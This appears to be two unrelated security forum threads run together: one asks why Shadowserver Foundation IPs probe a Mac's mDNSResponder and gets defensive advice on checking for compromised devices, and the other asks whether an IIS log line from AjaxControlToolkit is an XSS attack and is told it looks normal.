The Shadow Server Foundation constantly trying to get access to mDNSResponder Update September 2018: The events described below still happen to this day though less often from servers of The Shadow Server Foundation. By now I have denied access to most of their IP addresses, but I get a lot more connection attempts from other services like Leaseweb and whatnot. However, it still puzzles me as to why they want to connect. AFAIK via Bonjour mDNSResponder advertises network services (such as AFP file sharing) provided by my computer, as well as my self-chosen ".local" name.

In principle, I deny any connection to outside servers that are not Apple's.

Any further insights would be highly appreciated.

Recently I'm seeing access attempts by servers belonging to The Shadow Server Foundation to mDNSResponder (via Little Snitch actually). I got access attempts from 184.105.247.199, 184.105.247.227 and 184.105.247.207. While their mission  might sound laudable,

  Established in 2004, The Shadowserver Foundation gathers intelligence on the darker side of the internet. We are comprised of volunteer security professionals from around the world. Our mission is to understand and help put a stop to high stakes cybercrime in the information age.

I don't appreciate these attempts, so I block them (thanks, Little Snitch!).

My network configuration looks like this:

In an attempt to block all of their IP ranges, I came across this web page on myip.ms, which lists these domain names under "Websites hosted by The Shadow Server Foundation". Among them a few dubious sounding domain names:

malwr.com
tvbsp.com
foottraffix.com
bilescotrej.com
make-cash-at-home.com
profit-case.com
alfa-cash.com
milerteddy.com
sexy-ladies-wantmeet.com
ladies-with-big-tits.com

Without having visited any of these, I'm wondering if anyone knows anything about these sites. Why is The Shadow Server Foundation trying to get access to my Mac?

Assumption
Those websites are (for the most of them) well known honeypots.
They are designed to do lots of things, including luring bots into their networks.
I dont think the shadow server foundation scan random IP for information gathering. If you ended up in their list, there is some probability that your global IP have misbehaved, or did something suspicious.
Answer
Your global IP is not your mac, it's the WAN gateway of your router. With the info you gave, we just know that one or multiple device(s) inside your LAN might have somehow misbehaved. It can be anything with a private IP address obtained via your ISP's router:

Phone
Game console
Computer
TV
Connected refrigerator
tablet
IP Camera
And a lot more.

If compromised device(s) there is, you have to find it. You don't want to be part of a botnet.
A second assumption could be that someone hijacked your wifi and did some nasty things. A third assumption could be that your ISP is misbehaving, if it's the case you can do nothing about it, so lets stick to those two possibilities:

One or multiple connected devices you own are misbehaving.

You got your WLAN breached.

I will try to guide you on how to perform some further investigations.
Going deeper

Breached WLAN ?

Goal: Find a connected device on your WLAN you do not own.
How to: From your router, monitor IP Leases / MAC address for at least one week. Check the past IP leases logs.

Compromised devices ?

Goal: Find unexpected behaviors from the connected devices you own.(C&C server connection, weird port/socket/protocol utilisation, shadow server foundation IP / Domain outgoing connections)
How to: Capture all your router outgoing packets for at least 24 hours, analyse and filter the .pcap with wireshark or your favorite packets analyzer tool.
Good luck.


Can someone tell me whether this is Cross-site scripting attack or normal log entry? Can someone shed light on this logs .

 ****GET /list25/ADMN/Eligibility/EligibilityResponse.aspx _TSM_HiddenField_=ctl00_ScriptManager1_HiddenField&_TSM_CombinedScripts_=%3b%3bAjaxControlToolkit%2c+Version%3d4.1.40412.0%2c+Culture%3dneutral%2c+PublicKeyToken%3d28f01b0e84b6d53e%3aen-US%3aacfc7575-cdee-46af-964f-5d85d9cdcf92%3ade1feab2%3af9cec9bc%3aa0b0f951%3aa67c2700%3af2c8e708%3a720a52bf%3a4a2c8239%3a8613aea7%3a3202a5a2%3aab09e3fe%3a87104b7c%3abe6fb298 443 - 10.160.241.146 Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+Trident/4.0;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.4506.2152;+.NET+CLR+3.5.30729;+.NET4.0C**

My question is

is this XSS attack?
What action did the user do that made the webserver to log these entries?
if not an attack what these logs all about?

I did URL decode on the string you provided.This seems a normal log entry
.Below are some of the things I could tell from the log entry:

The IP address who tried to browse to this page is 10.160.241.146 on
port 443 " to be honest I don't remember if this is one or the one at the start of the log entry, I need to look it up"
The browser submitted the following user agent header
mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+Trident/4.0;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.4506.2152;+.NET+CLR+3.5.30729;+.NET4.0C**
The other part is just the URL with parameters being passed.

if that page is not usually visited by your users that might indicate an automated tool trying to specifically look for AJAX Control Toolkit ToolkitScriptManager.cs TSM_HiddenField Field XXS. You should inspect your logs looking for more evidence. You should look at the logs for the offending IP.